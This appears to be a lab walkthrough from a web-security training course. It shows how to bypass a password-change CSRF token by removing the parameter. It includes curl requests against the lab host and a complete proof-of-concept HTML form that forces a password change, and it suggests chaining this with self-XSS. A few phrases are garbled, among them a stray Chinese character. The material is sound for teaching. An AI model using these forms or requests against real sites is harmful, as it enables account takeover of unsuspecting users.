CSRF — password behind a token

Cross-Site Request Forgery

Final example of the CSRF set: the change-password request now carries a real CSRF token. Last lab of the ladder — before hunting a bypass elsewhere, try the ladder: blank it, remove it, reuse across accounts.

account settings — password
Current password: 123456 
POST /csrf/lab24/password.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

password=<new>&csrf_token=<base64 flow token from this page>
step 0 — understand the token before attacking it

Grab it from the page (it's base64) and decode: {"user":"stuxnet.course.user","random":"…","sig":"…"} — a user, a signature, and randomness. Here the signature is a keyed hash over user and random — tamper-proof by design. But always ask how it was built: real apps have shipped tokens that decode to just a user id (flip the id = other users' tokens) or a bare timestamp. Understanding creation tells you if a rewrite is possible before you even test the ladder.

Method — the ladder, in order
  1. Blank it: keep the parameter, empty its value. Here the token is only respected when present valued — an empty value fails validation ("invalid CSRF token").
  2. Remove it: delete the parameter entirely and send. The plant: validation only runs when the parameter exists — absent = trusted. This is the exact request shape your POC uses.
  3. Cross-user reuse (only if both fail — not needed here): two accounts; take user 2's token, send it on user 1's request.-Token reuse means binding is broken; report as a token-reuse bypass.
  4. Build the POC: same form as Lab 23, body = the surviving parameters only (here: password — no token needed at all once the removal bug holds). Do not include leftover fields "for good practice" — every extra field is a claim your report must defend.
  5. Wrap-up honesty: forced password changes chain dearly (with hosted self-XSS, a forced state change can make your payload execute in the victim's session — combine findings for higher impact rather than reporting each alone).
Spoiler — the ladder against this lab 
# 1 — blank (rejected)
curl -X POST https://stuxnet.pro/csrf/lab24/password.php \
  --data-urlencode 'password=123456' --data-urlencode 'csrf_token='
→ invalid CSRF token (400)
# 2 — removal (the planted bug)
curl -X POST https://stuxnet.pro/csrf/lab24/password.php \
  --data-urlencode 'password=123456'
→ 302 → password is now 123456

The legit token still works as it should (the honest form passes) — this is a bypass of enforcement, not of the token itself. On real targets the抠 equivalent is "token accepted without checking" — report at the criticality of the action (here: account takeover).

Spoiler — the final POC 
<form method="POST" action="https://stuxnet.pro/csrf/lab24/password.php">
  <input type="hidden" name="password" value="123456">
  <button type="submit">password POC</button>
</form>

Body carries ONLY the state field — the token's absence is the bypass. Cross-account ritual as always: perform on account A, hazard the POC in a B-logged browser, report what one page-visit achieves ("attacker forces password to their own value → account takeover").